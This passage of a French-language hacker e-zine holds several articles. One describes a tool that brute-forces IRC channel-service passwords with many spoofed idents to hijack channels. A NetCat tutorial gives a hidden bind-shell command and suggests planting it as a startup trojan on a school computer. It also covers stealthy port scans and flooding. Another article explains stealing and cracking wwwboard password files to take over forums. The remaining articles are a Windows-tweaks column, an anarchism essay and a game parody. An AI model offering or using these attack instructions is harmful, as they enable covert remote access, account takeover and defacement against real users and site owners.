méthodes pour se protéger des fraudeurs. Mais il y a une question que l’on devrait se poser d’abord et avant tout : « Les gens qui utilisent ces moyens sont-ils conscients du risque qu’ils courent ? » ___________________ [Quotes of the month]\____________________________ [Space for rent... an other one in a iGA Zine. ] _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.O7] _|_| X/W Lockpicker 2 \_________/_/ So CalleD _ ______ __ _ _ Interesting stuff for Irc kiddies _/_/ [By:__2] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] Ben vous avez surement vu deja la version 2 en ALPHA/BETA sur le site voici donc la nouvelle version qui accepte les wingates, pas besoin de vous faire un plan detailler, c'est identique au 1 (allez voir les precedents magazines) mais cest de 8 a 20 fois plus vite :-) Comme tout le monde se mele dans mes programmes je vais vous expliquez le principe et comment ca marche: Principe: ESSAYER TOUT LES MOT-DE-PASSES POSSIBLES d'un account X/W ou ATLAS sur undernet/infinitnet pour en trouver la cle et du meme coup hi-jacker le canal :-] Nouveau principe: Avant avec le 1.0 y avait first un bug quand on depassait les 65ko de texte dans le tableau des resultats et cetait lent = 1 essaie au 6 secondes. IRC n'a pas changer pourtant, pour pas se faire ignorer par X/W il faut essayer de logger sur un X/W/ALTAS a moins de 1 fois au 6 secondes. Mais c'est plutot le nouveau principe: Prenons ce user: Talamaska (*!*baka@null.net) -l:500 Mon programme prevoit que vous serez assez brillant pour comprendre une chose, et cela tout de suite :-) qu'arrives-til si par exemple un seul user spam X/W/Atlas au 6 seconde, rien! Mais si y en a 2 ca va pas marcher sauf si tu change les idents. le premier ayant baka si le 2-eme a baka2 ce qui va arriver cest que baka2 ne concordera pas a laccess X/W/Atlas. Mais il ne sera pas ignorer. Donc X/W/Atlas ne fait pas un check de IP ou de NICK quand il s'agit du flood. Donc vous n'avez qu'a charger par exemple 8 users: Toto1!~abaka@null.net toto2!~bbaka@null.net toto3!~cbaka@null.net toto4!~dbaka@null.net toto5!~ebaka@null.net toto6!~fbaka@null.net toto7!~gbaka@null.net toto8!~hbaka@null.net Si vous observez bien, ils ont tous le meme ident sauf une lettre qui change mais ils entrent tous dan le range du user: Talamaska (*!*baka@null.net) -l:500 Donc ca marche, chose a retenir 8 mots de passe au 6 secondes cest 8 fois plus vites, donc 1.25 mots de passes par secondes et imaginez si vous prenez des wingates et un bon modemcable, vous pourriez facilement grimper a 20-30 users. Donc 3-5 pass /seconde. Ca devient interessant. Le programme marche bien entendu avec des wordlists alors c'est assez sweet. Comment le programme marche: Ouvrez le programme, et allez faire un SHOW CONSOLE. Le reste des etapes s'en vient :} First of all: ------------- Le password file, en bas a gauche. Vous avez deja un password.lst changer le par votre file. Clicker sur OPEN THE WORDFILE sinon ca va planter par la suite. C'est vraiment important de faire ca au tout debut pour bien suivre les etapes. Le fichier password doit etre un fichier banal de succession de mots en format texte-ascii. Dans LockPickers Setting, vous devez setter les configurations pour CHACUN de vos robots, il n'y a pas de generateur de nick/ident automatique. C'est assez simple a la base. Par la suite si vous regardez l'iconne USE WINGATE ca va vous semblez familiez aussi :-) Je crois que ce programme va interesser les addicts du IRc du millieux alors ca sert a rien que je vous explique ou traduise se que NICK Veut dire :-) __2.enjoy ___________________ [Quotes of the month]\____________________________ [Vous vous rappeler Pierro, il na pas changer... [Il mange toujours ces frities McAine ] _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.O8] _|_| NetCat \_________/_/ So CalleD _ ______ __ _ _ Read an you will know what it is! _/_/ [By:_rix] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] NetCat ====== TCP/UDP, sockets, ports,... On entend ca partout mais on sait pas trop comment chipoter avec :) Ou alors il faut commencer a se casser la tete a apprendre du C, puis a apprendre WinSock, puis a melanger les 2, puis... :))))))))) Je vous propose cette fois-ci un petit utilitaire, tout petit, tout frais, tout puissant, qui s'appelle NetCat. D'abord je vous conseille d'aller tout de suite le chercher, comme ca ca sera fait => http://www.l0pht.com/~weld/netcat/ Mais au fait, avant d'aller le chercher, j'aimerai bien savoir ce que ca fait ce truc :) INTRO ====== Ben voila. NetCat est un calibre utilitaire en ligne de commande, qui permet de faire a peu pres tout ce que vous voulez avec des sockets. Un socket, c'est une connection entre 2 ordinateurs. Pour identifier un socket, il faut 3 trucs: -les IPs des 2 ordinateurs connectes. -les ports des 2 ordinateurs qui sont connectes. -le protocole utilise. Par exemple, quand je suis sur IRC sur #iga, mon mIRC utilise un socket entre mon IP (ex:165.169.45.12)+un port temporaire (ex:1035) et l'IP du serveur (antwerpen.be.eu.undernet.org)+le port du serveur (6667). Et le type de connection est de type TCP dans ce cas-la. Les avantages de NetCat ? Il permet d'ouvrir facilement des connections quelconques (TCP ou UDP) sans savoir programmer, aussi bien pour crier des petits clients/serveurs, que pour tester un programme a vous :) Il existe sur plusieurs systemes (Windows 95/98,NT,Linux,Unix,...) Il est utilisable a la ligne de commande, ce qui va permettre de facilement l'incorporer dans des scripts, etc... Enfin, vous pouvez aussi remarquer que toutes les sources sont disponibles... Aussi bien dans la version Unix (assez habituel ;), quand dans la version Windows (vachement plus rare, c'est pas le style de M-------t :) En fait, c'est vraiment un programme a tout faire... On va voir ca un peu plus en detail ;) NETCAT CLIENT ============= On va donc commencer par le debut :) Pour ouvrir un socket, rien de plus simple. Par exemple, je veux me connecter sur IRC. Je tape ceci: NETCAT antwerpen.be.eu.undernet.org 6667 Et je me retrouve connecte sur le serveur antwerpen ! Tout ce que vous taperez ensuite au clavier sera envoye directemment dans le socket, vers antwerpen. La vous me regardez en disant "tient il connait pas mirc suila, moi je trouve pas ca trop marrant de me connecter sur irc avec struc de fou". NetCat est un outil a tout faire. Il permet simplement de gerer un socket. D'envoyer... De recevoir... Pas plus... Ca veut dire qu'il ne connait aucun protocole comme IRC,FTP,etc... Mais ca veut dire aussi qu'il nous affiche exactemment ce qui se passe dans la connection, qu'il n'effectue aucun traitement, et qu'il envoie aussi exactemment ce que l'on veut qu'il envoie. Certains vont ptet se dire que Telnet de Windows fait la meme chose... Et la... detrompez vous hehe :) Telnet envoie pleins de saloperies a votre insu ;))) Justemment, a propos de Telnet, NetCat vous permet d'emuler la negociation telnet. Kessa veut dire scharabia ? Ca veut dire que NetCat vous permet justemment d'emuler un client comme Telnet, en envoyant les saloperies dont je parlai en plus ;) Pour cela, pas complique: NETCAT -t 23 Et voila... Cette fois ci, plus de problemes, toute la negociation telnet est faite par NetCat. Et vous voyez en plus ce qu'il envoie. N'est-ce pas merveilleux ? NETCAT SERVEUR ============== Maintenant qu'on a un peu chipote pour voir ce que NetCat faisait en mode client, nous allons essayer de faire un petit serveur. Par exemple, nous allons ouvrir sur notre machine le port 21, et faire croire a l'imbecile qui se connecte qu'il est tombe sur un Wingate :))) Voici la syntaxe: NETCAT -l -p 23 -l pour dire qu'on est en mode listen (on attend une connection sur un port) -p 23 pour dire que le port sur lequel on attend la connection est le port 23. On lance, et puis NetCat s'arrete... Merde vla tout est plante !!! Ohh que non :) Maintenant, on va lancer un petit client telnet, comme le telnet de Windows, et on se connecte sur notre IP, port 23. Par exemple, on lance le telnet de windows, "telnet 127.0.0.1 23" Et qu'est-ce qu'on observe ? On observe que notre client telnet se connecte bien sur notre petit serveur... Maintenant, on tape dans NetCat une petite phrase, et magiquement, cette petite phrase apparait dans le client Telnet. Tant qu'on y est, on tape une petite phrase dans le client Telnet, et... Et ben quoi elle s'affiche pas a l'ecran notre phrase ? Pourtant, en allant voir dans l'ecran de NetCat, le serveur a bien recu notre tite phrase :) Qu'est-ce que je vous disait que Telnet vous cachait des choses hein ;) Maintenant on deconnecte le client Telnet, et voila que NetCat se coupe. Pas tres pratique un serveur qui se coupe apres une connection... Pour cela, il existe une autre commmande: NETCAT -L -p 23 Cette fois-ci, le "-L" majuscule annonce a NetCat qu'il doit attendre des connections en permanence. Voila qui est plus pratique :) Un autre exemple: Lancons ceci: NETCAT -l -p 80 Puis, nous lancons Internet Esplorer sur l'adresse "http://127.0.0.1". ensuite, on retourne vite dans NetCat, et oh ! sacrilege ! damnation ! En regardant un peu mieux les lignes que Internet Explorer envoie au serveur web (NetCat ici), on comprend aussi un peu mieux comment il font pour savoir tout ce qu'il y a sur notre machine, chez Microsoft ;))) Ouaip c bien tes trucs, mais pour revenir au Wingate, si je dois chaque fois qu'il y a une connection qui s'ouvre, taper tres vite "Wingate>" pour simuler un Wingate, ca risque de paraitre assez louche, et de vite m'emmerder surtout :) Et c'est la qu'apparait le genie de NetCat... :) REDIRECTIONS ENTREES/SORTIES ============================ Du fait qu'il est utilisable a la ligne de commande via des parametres, NetCat va nous permettre de facilemment le programmer et l'utiliser dans des petits scripts (aussi un batch sous Linux qu'avec un .bat sous Dos/Windows). Nous allons donc creer un petit fichier wingate.txt, qui contient la ligne suivante: Wingate> Ensuite, nous lancons la commande suivante: NETCAT -L -p 23 < wingate.txt Ensuite, on relance notre client Telnet. Et la ! Magie :) Qu'est-ce qui se passe ? NetCat, a la place de recevoir les caracteres du clavier, va les chercher dans notre fichier wingate.txt, et les envoie tel quels. N'est ce pas formidable ;) Et si nous voulons logger tout ce qui est tape a notre faux Wingate ? Ben nous lancons ceci: NETCAT -L -p 23 > wingate.log Et le tour est jouer :) Maintenant encore plus fort ! hehe :) Ouaip c'est pas mal ca, mais bon le texte dans le fichier je ne sais pas le changer une fois que c'est lancer tout ca. Ca reste quand meme fort fictif... Maintenant, nous allons essayer de nous programmer un petit serveur qui va nous permettre de controler notre ordi a distance :) NetCat permet les redirections a partir d'un fichier, en entree, et en sortie. Mais NetCat permet aussi de rediriger les entrees et sorties d'un programme vers un socket :) Lancons plutot: NETCAT -L -p 23 -e c:\command.com Ensuite, nous lancons "Telnet 127.0.0.1 23". Et voila que notre command.com s'affiche dans notre fenetre Telnet :) Donc en reflechissant bien, si vous savez programmer en GWBasic (sorti en 1852 :)))), et que vous savez utiliser PRINT et INPUT, vous allez sans probleme pouvoir creer un beau petit shell pour votre Windows ;)))) En fait, grace a cette option, si vous savez programmer un programme qui utilise les interfaces standard d'entree/sortie (en Pascal, en C,...), vous n'avez plus du tout a vous occuper de la programmation des sockets !!! Il vous suffit simplement d'afficher et de saisir les donnees comme si c'etait un programme a la ligne de commande et c'est NetCat qui s'occupe de tout gerer via un socket. Tient, encore une petite option interessante, mais uniquement pour Windows celle-la (jpense que c la seule, rulez pas les linuxiens quoi ;) Ca vous tenterait hein d'installer un beau petit shell comme ca sur un ordi dans votre ecole hein ? hehehe. Je le voit dans vos yeux :) Tapez un ti peu: NETCAT -L -p 23 -d -e c:\command.com Et voila qu'il sort tout de suite ! Lancons tout de meme Telnet, pour etre certain. Tient tient... Voila que Telnet est connecte !!! L'option -d detache simplement NetCat de la console, ce qui fait qu'il reste actif en memoire (on le voit dans la liste des taches), mais pas dans la liste des fenetres :) Pour faire un beau pti trojan sur un ordi, suffit donc de lancer cette commande au demarrage, et un beau serveur s'installe tranquillement sur le port 23 sans rien montrer a personne :) HACKING ======= Comme NetCat est un outil a tout faire, il peut forcemment aider a faire des choses biens... et des choses moi bien... Comme le dit a peu pres le mec de chez L0pht qui a ecrit le programme: "si je vous donne un tournevis, vous pouvez aussi bien reparer ma bagnole en utilisant ce ptit outil bien sagement que la foutre en l'air en bourant dedans comme un malade" ;)))) NetCat contient toute une serie d'option qui sont orientee scan. Scanner c'est avant tout essayer de voir quels sont les services disponibles sur les ports d'une machine distante. Pour cela c'est pas complique. En fait, il suffit de taper une serie de ports a la place d'un seul port. Par exemple, si on tape 1-100, NetCat va ouvrir des connections sur les ports de 1 a 100. Le probleme est que NetCat ne nous indique pas comme cela le numero du port ouvert. Il faut donc que nous utilisions aussi l'option -v et meme 2x, "-vv", pour avoir des informations sur les connections. Tapons par exemple: NETCAT -vv 127.0.0.1 1-100 Cette commande va scanner les ports 1 a 100 de votre ordinateur. Une fois ca lance, vous allez voir que NetCat va afficher des messages "refused" sur tout les ports qui ne sont pas ouverts, et qu'il affiche entre () le service courant qui se trouve sur ce port (quand il y en a un specifique). Si le port est ouvert, NetCat affiche un message "Open". Il faut aussi remarquer que NetCat scan du haut vers le bas. Par exemple si on entre comme ports 1-100, il va scanner 100,99,98,...,3,2,1. Pour changer ca, il existe une petite option bien pratique, -r. Essayer un ti peu de taper: NETCAT -vv -r 127.0.0.1 100-110 Si vous observez attentivement, on remarque que NetCat scan maintenant les ports completement au hasard dans l'intervall 100 a 110. Voila qui est bien interessant ! En effet, pas mal de systeme de protections de scan sont bases sur une detection sur des ports consecutifs :))) NetCat n'est pas limite, on peut entrer toute une serie de ports. Par exemple, on peut scanner de cette maniere: NETCAT -vv -r 127.0.0.1 1-1024 4900-5000 6667 Dans ce cas, NetCat va donc scanner les ports de 1 a 1024, les ports de 4900 a 5000, et le port 6667. Cependant, il est utile de remarquer que l'option -r ne travaille que par range, c'est a dire que NetCat va scanner tout les ports de 1 a 1024 au hasard, puis passer au range suivant, et non pas scanner tout les ports au hasard dans n'importe qu'elle ordre. En fait, dans ce cas-ci, des que NetCat trouve un port ouvert, il s'arrate, et permet d'envoyer des donnees a ce port. Pour effectuer un scan rapide, qui ne s'arrete pas si le port est ouvert, il faut utiliser en plus le switch -z. Par exemple: NETCAT -vv -r -z 127.0.0.1 130-140 au niveau des ports, NetCat supporter l'envoi a plusieurs ports en parallele (c'est ce qu'on fait pour scanner en fait ;), mais on peut aussi utiliser ca pour flooder. Par exemple, on peut taper la commande suivante: NETCAT 127.0.0.1 139 139 139 139 139 139 139 139 139 139 Voila je pense que c'est a peu pres tout au niveau des ports scan,etc... :) DIVERS AUTRES TRUCS =================== La premiere chose est que toutes les options dont j'ai parle peuvent etre aisemment combinee, aussi bien en tant que client, qu'en mode serveur, ou qu'en scannant. Par exemple, on peut ouvrir une connection vers un serveur en specifiant un port source sur le client bien precis: NETCAT -p 65000 www.antwerpen.be.eu.undernet.org 6667 Dans ce cas-ci, par exemple, ca va permettre au client d'etre connecte avec comme port local le port 65000, ce qui est un port tellement haut qu'il faut deja y aller pour essayer de vous deconnecter, par exemple avec un Click (ICMP Nuke), qui d'habitude attaque les ports d'allocations temporaires, qui generalement sont les ports de 1024 a 5000. NetCat possede une petite option diablement interessante ! :)) Il s'agit de l'option -u. Cette option permet de creer des sockets UDP a la place de sockets TCP. La chose la plus interessante est probablement de scanner des ports UDP a la place de TCP, en utilisant les options -z et -u. En effet, il n'existe pas beaucoup de bons scanners UDP sur le marche, mais par contre il existe pas mal de services qui sont implementes sur des ports UDP ! (DNS,TFTP,...);))) Il y a aussi une option de time-out, -w. Par exemple, NETCAT -w 5 antwerpen.be.eu.undernet.org 6667 va arreter netcat apres 5 secondes si la connection n'est pas etablie. Il y a aussi une option -i, qui permet de specifier un delai de scan, pour ne pas scanner trop vite (ce qui parait souvent louche, et est facilemment reparable). Par exemple, pour scanner en essayant le moins possible de se faire remarquer, on peut taper la commande suivante: NETCAT -vv -z -i 10000 -r 127.0.0.1 1-200 qui va scanner toutes les 10000 millisecondes (tt les 10 secondes) un port au hasard sur la machine 127.0.0.1, de 1 a 200. Une autre option tres interessante, particulierement pour debugger des programmes ou analyser des protocoles, est l'option -o. Par exemple, en tapant: NETCAT -o netbios.log 127.0.0.1 139 NetCat va logger dans le fichier netbios.log toute les octets recus, mais sous forme de dump hexadecimal, ce qui est assez pratique dans certains cas:) Pour ceux qui connaissent TCP/IP en detail, NetCat contient aussi une option qui permet d'envoyer des packets "source-routed", donc des packets qui sont envoyes via des routers dont on specifie les IPs, grace aux options -g et -G. Et enfin, NetCat supporte aussi le choix d'un IP dans le cas d'un ordinateur relie a plusieurs interfaces d'IPs differents. Pour terminer, si vous avez un petit probleme, n'hesitez surtout pas a taper la commande NETCAT -h , qui affiche un resume de toutes les commandes disponibles, puis je vous conseille aussi de lire le petit fichier .TXT fourni avec NetCat, qui explique pas mal de petits trucs interessants a faire avec NetCat. ___________________ [Quotes of the month]\____________________________ [Dit papa, est-ce qu' il y a du colerol dans ces [frittes.. je le sais pas ma chouette mais le chien [en a meme pas voulu! ] _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.O9] _|_| Wyze hack presto-pack \_________/_/ So CalleD _ ______ __ _ _ muv to jail dont pass go and do not claim 200$ _/_/ [By:Wyzeman] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] Dans ce text que l'on pourrait considere comme une sorte de melting pot sur un peu tout ce qui ma passee par la tete, je parlerais entre autre, du flood irc en telnet ( wow, IRCWAR for leet haxor ), wwwboard, quelque truc easy a faire sur les site web et comment modifier le look like de votre windows a main. IRC flood irc flood c'est facile vous allez dire, ya vous avez raison. pas ce flooder soi meme, sa semble un peu plus compliquer pour certain. flooder sur irc c lame, vous avez parfaitement raison, pourquoi j'en parle? et bien bof, j'ai decouvert une nouvelle technique l'autre jour a job ( hehe, chu payer pour developper so called j'ai tu rien a faire a votre gout :]). C'est rien de vraiment compliquer et je ne me souvient pas pourquoi jai trouver se bug. 1ere etape : se connecter unix : ouvrire un shell et taper telnet cservice.undernet.org apres quelque enter vous devriez avoir ceci ___ ____ ____ ( ) / __) / ___) | | ( (__ \___ \ (___) \____) (____/ This administration specifically disclaims any responsiblity or legal liability for the content, structure and purpose of Internet Chat. Internet Chat is an unmanaged discussion protocol, individuals are forwarned that the content, structure and purpose are without specific form or control. These resources are not to be used for illegal activities. If this is unacceptable please QUIT NOW. This server specifically FORBIDS its indirect use to participate in illegal activities. If you observe illegal activity, please contact the appropriate legal authorities and the ISP of the offender immediately with collected logs of the evidence. Server name: services1.undernet.org There are 37139 users on 17622 channels Please report any problems to Nickname: vous n'avez qua taper le nick que vous voullez, et vous voici connecter en mode telnet au serveur cservice.undernet.org ( un server de developpement pour irc ). il ne vous reste plus qua faire un massive cut/paste paste paste paste paste paste paste, tk vous comprennez le principe. windows. deconseiller, le mode chat en telnet nest pas tres efficace, la technique est la meme, mais, bon, ca reste windows ( tien premiere fois je chiale contre windows notez le bien ). wwwboard les anciens qui date des BBS se souviendrons surement de la section forum, en fait, cetais la plus part du temps le coeur des BBS ( outre les 500 meg de pic XXX ). les plus nostalgiques, on donc installer des forum de discution un peu partout sur le web. alors comme tout bon usager , vous allez poster un "mail" sur le forum mais a votre grand desarois, le webmaster a pas juger bon de conserver votre message? mais vous, vous croyez vraiment que votre message est important, alors vous desirez le reposter tout en vous assurant que votre message y restera? he bien cest simple, tres simple, trop simple meme si votre forum preferer roule sur un wwwboard 2.0 ou version precedante. comment l'on va proceder? et bien, nous allons dans un premier lieu aller recupere le password file. un fait maran, dans les premiere version du wwwboard, le passwd file, n'est meme pas ecrypter, autrement dit, c'est comme si je laissais ma porte den arriere debarer avec une invitation particuliere a qui aimerais bien venir me voler. Dans la version 2.0 le password est encrypter, mais bon, quelque minute dans les mains de john the ripper, et il n'en est plus rien. les autres version sont plutot bien encrypter alors a moin davoir une bonne raison de vous y attarder, laisser faire. etape 1) allez chercher le passwd files dans un wwwboard, la passfile se trouve dans le repertoir ../wwwboard/passwd.txt par defaut, or nombre de webmaster omette d'en changer le nom, ou ne sous totalement pas au courant de ce hole dans leur securiter. etape 2) quoi faire avec le fichier passwd si comme mentionner precedament, vous tomber sur une tres vielle version, et bien vous aurez le user/pass d'indiquer, en txt, vous n'avez plus qua aller dans ..../cgi-bin/wwwadmin.pl pour effacer le contenue du wwwboard, y poster votre message, et changer le mot de pass, pour que votre message ne puisse pas etre deleter aussi facilement que la premiere fois :] le truc du mois :] prennons par exemple le url suivant http://www.nowhere.com/groupe/user/info/index.html vous verrez donc, le index.html comme dans toute page web normal. lastuce, ces de remonter les repertoires un apres l'autre, un peu souvent y trouvez des chose interessante auquel on ne voudrais pas que vous ayez access. second truc du mois: changer le http:// pour ftp:// la aussi vous pourriez y decouvrir quelque tresors :] mon ami windows beaucoup de hacker, se plaise a denigrer windows et a en rire, preferant se compliquer la vie a runner linux. Les linuxiens se plaise a dire, que en windows on ne peu pas rien faire, que nous somme prisonnier de notre OS, ( cest gars la devrais aller voir sur un mac si on peu en faire autant que sous windows ). Bref toujours est til que avec un minimum de talent vous pourrez modifier votre windows, en le rendant un peu plus personnels. c'est ainsi que nous allons allez jouer dans le regedit (entre autre). tanne de voir win95 ou win95 avec des nuages a chaque fois que vous starter windows??? sous windows 95, il existe un fichier, dans le repertoire racine, logo.sys, qui represente le logo de chargement de win95. si vous netes pas sure, faite une sauvegarde du fichier dans un autre repertoire, et changer l'extention pour .bmp il vous serat alors possible de voir le fameux logo. pour le changer, cest simple, vous n'avez qu'a prendre n'importe quel logo optimiser 320x200 8bit 256 couleur ( ca va etre plus beau ) et etirer le en 320x400. vous n'avez plus qua remplacer l'ancien logo.sys du repertoire racine. sous windows98, il n'existe pas de fichier logo.sys, mais nimportequelle bmp renomer logo.sys possedante les caracteristiques mentionner precedament se charchega automatique a chaque boot de votre pc et vous n'aurez pu la jolie image de demarage :]. ps: il est aussi possible d'effectuer le meme travaille avec logow.sys et logos.sys qui represente vos logo de sorti de windows, mais bon pour ma par je les vois pas jamias puisque mon pc est ouvert 24h/24h et que je reboot a laide de ctrl-alt-del del. pour les plus lache d'entre vous qui ne veulle pas perdre 1 heure de leur "precieux??" temps, vous pouvez toujours faire une recherche sur altavista de logo.sys et vous trouverez bon nombre de page qui offre des package ( some kind of theme ) pour votre pc. the mighty recycle bin tanner de jetez vos d'echet dans le recycle bin ou dans la corbeille si vous posseder un windows version francaise, et bien vous pouvez changer son nom dans le regedit. comment faire, et bien s'en est d'une stupiditer assomante. faite /run regedit a partir de mirc ( he oui, on sais que vous etes toujours la :] ) ou employer la fonction run (executer??) du menu start (demarer) et taper regedit, aller dans l'indic "edit" et descender le curseur a find, et faite votre recherche sur recycle, il ne vous restera plus qua changer les valeurs ( dans le coter droit ) pour ce que vous desirez, waste par exemple. assurer vous davoir fait le tour pour pas vous ramasser avec un mixte de recycle bin et de waste :] vous pouvez par la meme methode changer le nom de pas mal tout ce qui vous vien par la tete qui existe dans windows. cependant, je ne vous conseille pas de trop faire de changement surtout pour ce qui a trait a explorer.exe. je mexcuse pour la faciliter de cest petit truc, mais c desolant de voir qu'il y a du monde qui ne les connaissent pas encore donc jai cru bon de glisser un petit mot sur se sujet. enjoy Wyzeman ___________________ [Quotes of the month]\____________________________ [Hey McCaine, qu'est-ce que ta fait a mes frites? [Bah on a juste rajouter plus de chimiques ] _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.1O] _|_| L'Anarchie \_________/_/ So CalleD _ ________ __ _ _ Les acneens en puissance _/_/ [By:Gandalf] \ ___________________ __________________ _________ ___/_/_ __ _ __ _ _ _,] Peut importe la facons dont vous voyer l’anarchie sachez que ce n’est pas une guerre civil ou tout le monde se tape sa yeule , le feu est prit partout , y a des coup de gun qui sont shooter,plein de sirène qui sonne. Ouin bon.. l’anarchie n’est pas une sorte de monde a la Mad max.. Mais c’est plutôt un monde sans loi ou tout le monde est a sa place Donc pas de patron, pas de police, pas de gouvernement, pas de problème! Imaginer que vous vous lever un matin et que l’anarchie a triompher, quesqui va avoir de changer??? RIEN! Vous aller travailler encore, vous allez encore rouler a 100-120km Sur la route et... Mais! Une chose va être changer! C’est la profonde place que les patrons et les dirigeants prennais de votre vie vous n’aurez plus le sentiment d’etre dirigé vous n’aurez plus la crainte de perdre votre emplois vous aller être libre de faire se qui vous plait! Mais vous garderez quand même un semblant de jugement. Vous ne devez pas rouler a 160km sur l’auto-route mais ou moins,Vous avez le droit de le faire, et CA! C’est déjà un bien grand pas. Comment en venir a l’anarchie? avec les pissou et les gros bras de notre époque c’est pratiquement impossible, pourquoi? Les pissou ne feront rien et les gros bras passeront par la violence, la violence est une solution mais les répercutions . Vont être a la Mad max et je ne croit pas que se sois une bonne chose.. Il nous faut des leader, des homme de coeur et de fois pas des gros tata qui pense par la force et par la guerre du genre ‘’Foncé dans l’tas’’. Une guerre se planifie d’avance Sa se prépare etpour sa il faut des têtes des grosse têtes. Et il faut faire Aussi la différence entre l’anarchie et la Révolution;(qui sont pour but pareil mais par Méthode très différente) Vous me considéré peut-être comme un anarchiste, j ai lu des tas de livre j ai écrit plusieurs articles j’ai préparé des plan j’ai étudier les grands hommes de révolution. Je suis dans le domaine depuis longtemps et pourtant je ne suis pas encore un anarchiste, pourquoi!? Je prône l’anarchie soit mais c est surtout parce que JE ne peut-être un Anarchiste mais NOUS pouvons être Anarchiste il n’y a pas de JE. Mais sachez que je ne suis pas un petit rebel qui dit être anarchiste pour se pensé hot! Je ne suis pas non plus un petit ‘’Fuck le système’’ parce que l’anarchie en soit est un système.. c’est un système de vie sans loi et sans violence. regarder le dialogue qui suis -JR Journaliste -PD Patron -JR Pourquoi cet homme est t’ il en colère? -PD Parce que je lui est dit de travailler plus vite -JR Combien le payer vous? -PD 15$ par jour -JR et ou prenez vous l’argent pour le payer? -PD Je vend des produits -JR et qui fais les produit? -PD cet employer -JR pour une valeurs de combien de $ fabrique t’ il par jour? -PD pour 100$ -JR Ok! En résumer c est lui qui vous paye 85$ par jour pour se faire dire de travailler plus vite. -PD mais heu, les machines sont a moi! -JR Et comment avez vous eu ses machine? -PD j’ai vendu des produits -JR et qui a fabriquer ses produits? -PD heu…rentrons dans mon bureau on pourrait vous entendre. Donc en résumer si les patron ne serai pas la vous vendriez vous même les produits Et vous auriez l’argent du patron est votre propre argent.. vous travaillerez a la Vitesse que vous voulez et vous aurez la certitude de ne pas perdre votre emplois accause D’un patron mécontent. Bon c’est bien beau tout sa mais que deviendras les écoles; Franchement je men fou mais évidament, les écoles auront encore une place mais je ne pense pas qu’il y auras autant de cour obligatoire se qui veut dire que si tu veut aller en informatique. Tu perdras pas ton hostie de temps avec des chites genre Éducation physique ou Religion.. Bref l’anarchie se doit de triompher parce que l Anarchi c’est Vivre. J’espère que je n est pas perdus mon temps a vous parlez de quelque chose D’aussi flou mais au moin j aurai essayer. NO RULE ~ NO FUCK [Gandalf] ___________________ [Quotes of the month]\____________________________ [Une quote de plus, une quote de moins peut importe [il y en aura toujours une prochaine... ] _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.11] _|_| Quebecan Scene Snapshot 0389345389 \_________/_/ So CalleD _ ______ __ _ _ Civilisation resolved _/_/ [By:Qwzykx] \ ___________________ __________________ _________ ______/_/_ __ _ ___ _ _,] Ya déjà un gros 3 mois, vous pouviez assister live en simultané stéréo shockwave ultra base boost with just a little bit of treble set on the coche 8 on a range of 10 without forgeting the so useless digital equalaer with servial of LED spinning left and right. Je disais donc, après ce si lourd programme, comme le temps passe une modification dans la suite des événements s'impose et comme, technologie oblige, j'ai décider d'updater / muter le classique Starcontrol 2 O'Vision. Mais pourquoi aller chercher dans le si limpide présent quand on peut s'obstruer la vue dans un passe encore plus gratifiant (car vous devez faire l'effort de vous en rappeler). Et j'ai l'honneur de vous crée : Le seul, l'unique Civilisation O'vision. Prenons le cas d'une game typique en mode Chef(easyest).Pour le bien et la toute vraisemblance de cet article, et comme j'ai jouer 6h avec les Americans, ma donc prendre cette civilisation d'on j'ai eu tout le temps de connaître leur leader Abe Lincoln. Et comme cet article est grasieusement publier par iGA inc, je poserais donc que ma game ou Peuple sera le zine ici présent, que vous lisez avec tant de patience et animosité. Alors au tout début il y avait... Ha on commence avec un beau Setler, disons que c'est plutôt ridicule comme fondement de la civilisation (iGA ienne!) Donc on fonde notre ville : IGA (quelle originalité). Ha le peuple est happy, on irrigue le sol pour avoir un peut plus de foin (slik and the..) et on attend le next turn que nos armées en cartons soit prêtes. Voilà c'est fait, on explore in peu le continent (Québec Scène). Bah ya pas grand monde hein __2.. on continue à chercher.. Ha tien une p'tite cabane, et bin on vient de trouver comment se spoofer! On continue.. Quand tout a coup, une tribu bizarre encore au stade embryonnaire (comme nous finalement). Allons les voir de plus près. -->UHA<-- Eil salut man.. tu serais pas intéresser à faire un échange de knowlage? Un virii en basica 3.0 contre ton spoof ? c'est un deal ? -->iGA<-- Im not interest -->UHA<-- Okay nice .. dans ce cas la c'est la guerre! -->iGA<-- If you want so! Alors vite on a besoin d'une batch de soldat en carton! 2 Turn after Go to the UHA civilisation, bon on y va, à l'attaque! ==>UHA as been defeated by the civilisation of iGA<== Bon on take-over la ville pis on est rendu avec un beau spot irrigué pis pas si mal placer (Uha as been assimilated in the glorious civilisation of iGA). Quelques inventions plus tard.. Voici que vient le temps de construire une merveille du monde! Pourquoi pas un Oracle, lieu de prières et d'adoration nous voici donc avec une population grandissante! Ha encore une construction, les pyramides, so called K-line Killer 2.0 ==>WHF as been defeated by the civilisation of iGA<== Oups c'était seulement réparti sur une seule ville ca la, qui aurait crut. Bon on continue à faire le tours du continent (Scène encore une fois) ha mais tien donc, voilà qu'un un autre peuple plus avancer technologiquement que nous vient nous rencontrer we are scared! -->TC<-- Eil vous savez pas c'est quoi la culture des ressources naturel du continent (Eil c'est pas ca du hacking gang de leet). -->iGA<-- Ha laisse-nous donc juger du temps ou y faut passez-la tondeuse. -->TC<-- Eil checker ma technologie les gars toutes les autres Civilisations me vénèrent. -->iGA<-- Ha bien alors disons qu'on fait un traité de paix devant tant de connaissance. -->TC<-- Traité de paix? nah pas avec vous autres -->iGA<-- Ok alors on échange du knowlage? -->TC<-- Un peuple comme vous autres ca mérite juste de crevé! Donc on quitte le territoire pour se replier sur nos structures prévoyant une destruction.. Quel bonheur on a le Metal Forging (vive les légions) enfin débarrassé des soldats en cartons. Donc on met les légions au bout de notre frontière pis on fortifie ca, surtout que la tranquillité de ce village depuis des mois est disparut dans une effervescence de troupes nouvelles. (On va mourir) Non faut 